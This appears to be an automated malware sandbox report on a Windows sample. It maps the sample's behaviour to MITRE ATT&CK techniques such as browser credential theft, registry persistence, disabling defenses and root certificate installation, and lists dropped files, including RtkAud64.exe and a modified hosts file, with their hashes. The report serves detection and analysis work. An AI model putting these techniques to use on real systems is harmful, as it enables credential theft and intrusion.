        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC89A.tmp" "c:\Users\Admin\AppData\Local\Temp\xvxtkdsf\CSC8842F7246B7D4CD09687FB341E08568.TMP"
        5⤵
        
        PID:1952

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 2d8d88440ac91d756e52b9029c25684ad2522f9dbb9c800f3929633529497818
MD5 acd80d6d7114a61d8c01c77f78c805fb
SHA1 f0b79e5fd09ae019fe95d994a5b32a6a6922172d
SHA512 1cc189cbcdd80466b3418694e025e7ad00b8da0b882096a6e1274e0544b103c3bfcc717f4975ae03eda9f1bca94f7280dcc910ca207d04e44ef8db287ee6a266
TLSH
T14D112223F3CC8920CC96163A509DAC5172B586CB91AEDF9F7FC0C210A5BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 9158038718d41172c22a3c1a15852405e3e1c8e2c44fa066328eb1520e5d977b
MD5 0aa63dbb46d451e47a7a682c64af776d
SHA1 3b0026f2dae8e9c491ccaa40133755779de35aaa
SHA512 4d2564850c2ab1bc71089412f19147df4a1cd3075aa2039aa894271b333cd9c510b7ba4d70889f24d45d8b366d8b5167abdcf24314e4753420337c7d34e7c43f
TLSH
T192112223F79C89A1CC961639509DAC5172B686CB81AEDEDF7FC0C210E1AF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

Display (1).png

Path C:\Users\Admin\AppData\Local\Temp\HZOeDnwmOq\Display (1).png
Size 591KB
SHA256 04775b903d70e6b84c2ffae7d533cb934d6ef333b13806e3f583dd0e366ee40a
MD5 8848d246c79ff2dd988d0a7003f19666
SHA1 155ae6a679c95e2d8b0f71fb4b9aca01e8a61a04
SHA512 86e98f441995853bb3a08b48b1c545e140a3cc1816c353642892427fb06892d8a8c14f18eefd1abdb0e187b2e2de037a7368880ba27eb63ec7ba8258178a0e79
SSDEEP 12288:VeFCZz7NS6rnqJkKotuSJ056SdhD9dtTUJhFXgiNHLzzChFC:CCZ3c6rqJkKotbJ056U3oJhFXgiNHLCG
TLSH
T1EDD4230C74F8710ECAAB007FBCE11F9A4A213173DD5D9A6AA148ABA45101F7DBF11B5B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RESC89A.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESC89A.tmp
Size 1KB
SHA256 f54bd2f9965b2aa0bb8fd21fd8c1d863b713f18034dde36f18a565d749d10d88
MD5 2e5c69be7fbb1586b710152570a1c020
SHA1 7c5309a04f3e87c57df9120eed246b0ab462f5c7
SHA512 a18fafa953d2a5f6d9f591470eb15e2a39e29df3378ac01146dfec475f07b94f8234ea7ebc936ef32bb9e2f9e5eeb2081051d38bdc823f5bb2ad5e5ad854f438
TLSH
T13D218C0587ED471EF0735731ADF5572BA678FD54EFA2935B8540422C1C42604EEA1FB2
MD5 SHA1 SHA512 TLSH

Submit Download

RtkAud64.exe

Path C:\Users\Admin\AppData\Local\Temp\RtkAud64.exe
Size 10.6MB
SHA256 f7ef1ea60a91ca7b41d602847b4b8eb5e0b340a37b7961075c9bae4a1c69b55a
MD5 07b52020cfa57310489e126637f14286
SHA1 fb921bc1f116a072b5b67177705d4ea4b64e7530
SHA512 39fb7bdc26b353ba61d02c69435a21a83a5d314442c894c7942311dc1726e6e65a97f09d6a8df318d9fbcdc2b8d1a0cf4b85f734c0610905675d5c28aa896297
SSDEEP 98304:akeD8WPu8hELBeiFyR2kRPhAhTTc0A1TH5umvBh8huTE3EU3:abPm5gR2kdhAhTT85+0U3
TLSH
T168B64A57ECA551E5C0AE8175CA329622BB713C899F3063D36B60F6242F37BD0ADB9740
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_jhlfphyp.aau.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jhlfphyp.aau.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

xvxtkdsf.dll

Path C:\Users\Admin\AppData\Local\Temp\xvxtkdsf\xvxtkdsf.dll
Size 4KB
SHA256 06e9fe971de99067e6cfd55dd971b0f4ed312bc815ba05375e1129be9b80730b
MD5 8662c7b501b63391f8e111c1c7e54764
SHA1 fc461a93983ce05d1b9fd012f7106b17d00a8d3c
SHA512 f297d15cfa7e262a450830018340548f2b681ca16bdb4bc698a3cc44746bc2c865583cd5f06e9a4957ac713d95ed1ace807253485c2617e9d6bb62f00f65e20f
TLSH
T16C81321693D8857EF4BE0B757DE393072B74A9109A22E34F1C84125CAC31364AB25FA6
MD5 SHA1 SHA512 TLSH

Submit Download

hosts

Path C:\Windows\System32\drivers\etc\hosts
Size 2KB
SHA256 ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
MD5 6e2386469072b80f18d5722d07afdc0b
SHA1 032d13e364833d7276fcab8a5b2759e79182880f
SHA512 e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb
TLSH
T184511117068D90FC22B101BDC41FA61EE24E93A305DFFDC9798DBE5E274177822562B1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC8842F7246B7D4CD09687FB341E08568.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\xvxtkdsf\CSC8842F7246B7D4CD09687FB341E08568.TMP
Size 652B
SHA256 a7056f753255a9244a9f01616ed0c0652c65fc2d7e7f26ce82c807ec2fa8e7b4
MD5 43c8c6c44c218fef4325e8bb14331916
SHA1 0186678621ed683d791e4a538438bbb1be809fb6
SHA512 1f4ea5eadcfaac4930cf629c4a411abad8811475667b1c401fa71ad72ce4256bb360601af9f7e7cadce32365cc9f6a9b1774110b44db36f3eb653178b68a1cb1
TLSH
T14CF05E0967F8020EF0F35B30BDF683A7A5A8BC64DE3293ED1454031D2C656109A72FB2
MD5 SHA1 SHA512 TLSH

Submit Download

xvxtkdsf.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\xvxtkdsf\xvxtkdsf.0.cs
Size 1004B
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
TLSH
T159114EF8AD2FD65A44336B37FE7B5484EF3613A3022A911ABD8C41244F3185493AAE59
MD5 SHA1 SHA512 TLSH

Submit Download

xvxtkdsf.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\xvxtkdsf\xvxtkdsf.cmdline
Size 607B
SHA256 86b9e97381dc21f1c1925e630eb98531967a53e7bdd57f50a462bd70c89d0c71
MD5 fbce289f8bbea2c900b060baa993ad1a
SHA1 9340011d194736b4f00533812053dbdb7766c1bc
SHA512 3958a27313c87224695c091fd4f84e3cdfe0ffa75828d721ba273cafbb48b22b7824c65602730a379307f112e2dff39caa86d16a286c4975984644960d323296
TLSH
T113F0AC35123BC5BE41EA340319AEAA9CC237138F30C2AF48AAC58C1EE5630000F90B98
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1648-24-0x000002999C5F0000-0x000002999C80C000-memory.dmp

Download

memory/1648-8-0x000002999C5C0000-0x000002999C5E2000-memory.dmp

Download

memory/3276-67-0x000001E332160000-0x000001E332168000-memory.dmp

Download

memory/3276-70-0x000001E34AEB0000-0x000001E34AFFE000-memory.dmp

Download

memory/3736-44-0x000001CE9DD00000-0x000001CE9DF1C000-memory.dmp

Download